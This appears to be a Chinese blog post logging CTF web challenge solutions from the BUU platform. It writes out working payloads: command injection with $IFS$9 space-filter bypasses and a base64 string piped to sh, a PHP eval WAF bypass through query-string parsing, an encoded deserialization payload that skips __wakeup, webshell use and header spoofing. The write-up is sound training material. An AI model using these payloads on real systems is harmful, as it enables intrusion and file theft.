11-28 BUU做题记录

2020-11-28

[ACTF2020 新生赛]Exec

打开直接ping,一般所在目录没有flag,那就在根目录。


v2-fb7914d2c49becd69db5a55f897b0af5_b.jpg


看到flag,直接cat ,


v2-d1695e5494961ee51891fe50797d41a3_b.jpg

v2-215c643c706097f7260ca483eaf98206_b.jpg



[GXYCTF2019]Ping Ping Ping

打开页面,直接ping,然后ls,。发现flag.php


v2-0995cbcfd7e3a29b7b8d696b8cd8a1ec_b.jpg


cat flag.php读取 出现错误。空格被bang


v2-f17991f5da9a8a5de78085a12a577b3b_b.jpg


绕过空格方法有很多,一个个试都可以

$IFS$9 <> , %09 ${IFS} %20 <

读到首页源码


v2-8b48fb8201ca4441d050185770a6c25b_b.jpg


被禁了bash ,但还有sh 啊。因为过滤空格,所以使用$IFS$9替代。

?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh


v2-5238587268e1627934a2e8aed253be12_b.jpg



其他解法,看到` 没有被禁用,直接可以想到内联执行。

在这里内联执行就是将 ls的输出转为输入。

?ip=127.0.0.1;cat$IFS$9`ls`


v2-030fb13e63e8654338b8fde55b0e74d5_b.jpg



[RoarCTF 2019]Easy Calc

打开页面,直接查看源代码,虚假的过程就不看了。


v2-1d36b393bd2cecc0ac86cb07d40964b4_b.jpg


说自己有waf,下面还有一个链接,, calc.php 直接打开。


v2-bc56511412b0bacb58e73859f692027a_b.jpg


看到代码,,get[‘num’] 一个黑名单。 但是这不是waf。。这里面没有过滤字母


v2-c8f26b6d6512194ee88c26c00de4e845_b.jpg


eval直接执行,当我们输入php代码,会直接执行,如果没有php代码,会原样输出


v2-c741502afe8e7a5218988689cfb273e6_b.jpg


输入php代码报错。输入字母报错。


v2-4411f9aa4cb8cf077c1bf29ca7df3d6e_b.jpg


经过查看别人的writeup之后,属实学到了。


PHP的字符串解析特性

我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => "bar")。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,原文链接

所以我们构造paylaod:

? num=phpinfo() 成功


v2-a90d7a27fe80949444704a0e3e384a6c_b.jpg


查看flag,就要知道flag在哪,我们列目录。(不是ls) ,eval执行php命令,所以

因为”/” 在黑名单,所以我们用ascii码。

?%20num=1;var_dump(scandir(chr(47)))


v2-90d74800804fb22b08b9963f87d1ba42_b.jpg


?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))


v2-ea22f5300df760a5434bb2038d7aa341_b.jpg



[极客大挑战 2019]Knife

打开页面,提示菜刀。下面还有一句话的密码。直接连接,然后flag就在根目录。


v2-ec601595493a2f3088e414cdd9424b20_b.jpg



v2-498223af780c470c927616b4f88d7065_b.jpg


不过遇到这样子的我一般都是手动操作,


v2-0498c985193c5ae4c66d3677c8d339bd_b.jpg

v2-96c2ea44ab45220e103b334320ba567f_b.jpg



v2-980dc229f45daf71bf57c45c0fc89837_b.jpg

v2-5d2d610437a1b78ff29913f6b600b19a_b.jpg



[极客大挑战 2019]PHP

有备份网站,扫描,得到www.zip


v2-3f6ab142744200f268dd17843ca0507a_b.jpg


打开index.php


v2-bf038882a0443fbfff15d747f307b106_b.jpg



继续看class.php


v2-78c93f724c0d0dfd8e2aa2354819c349_b.jpg


需要username =admin ,password =100 .输出flag。

再看class.php中,我们传入的值会被反序列化,那就是我们需要先序列化。

构造序列化代码。


v2-b88992cb926431fa4f6784cc179439fe_b.jpg



v2-55ac9c3962d8203c322cdd4cae015221_b.jpg


虽然序列化了,,但是wakeup优先执行,会将username改为guest。

绕过方法就是

在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行


所以我们只需要修改第一个Name后面的2 ,改成2以上的数字就行了

O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

然后GET传参?select= 得到flag


v2-37f7592d02720a60a772d4c12b19eb9b_b.jpg



[极客大挑战 2019]Http

考察http的基本文件头,Referer ,X-Forwarded-For,User-Agents

打开网站,查看源代码,发现链接。打开。


v2-816a326db6891bed661aef381d8fbae5_b.jpg


看到这个,直接post发包

Referer: Sycsecret.com


v2-6fe98824ac7d21a226d57b4eb12005d4_b.jpg


修改user-agents:


v2-a671dc6a113ad098a24c41b4619b36c8_b.jpg


修改X-Forwarded-For:127.0.0.1


v2-be88b8da8fb09fc1475ca22f86e07eb4_b.jpg


得到flag


v2-d3c4dcf6a1bff636d3117b70fa0fd228_b.jpg

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

SwBack

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值